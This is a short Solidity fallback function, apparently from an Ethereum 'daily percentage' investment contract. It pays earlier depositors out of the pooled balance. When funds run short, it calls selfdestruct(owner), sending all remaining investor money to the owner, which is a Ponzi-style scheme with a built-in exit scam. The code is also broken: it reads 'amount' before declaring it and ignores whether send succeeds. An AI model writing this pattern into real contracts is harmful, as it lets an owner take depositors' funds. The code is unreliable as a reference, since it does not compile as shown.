func: function () external payable {
          
          if (invested[msg.sender] != 0) {
               if (address(this).balance < amount) {
              selfdestruct(owner);
              return;
          }
              
              
              
              
              uint256 amount = invested[msg.sender] * 4 / 100 * (block.number - atBlock[msg.sender]) / 5900;
  
              
              address sender = msg.sender;
              sender.send(amount);
          }
  
          
          atBlock[msg.sender] = block.number;
          invested[msg.sender] += msg.value;
      }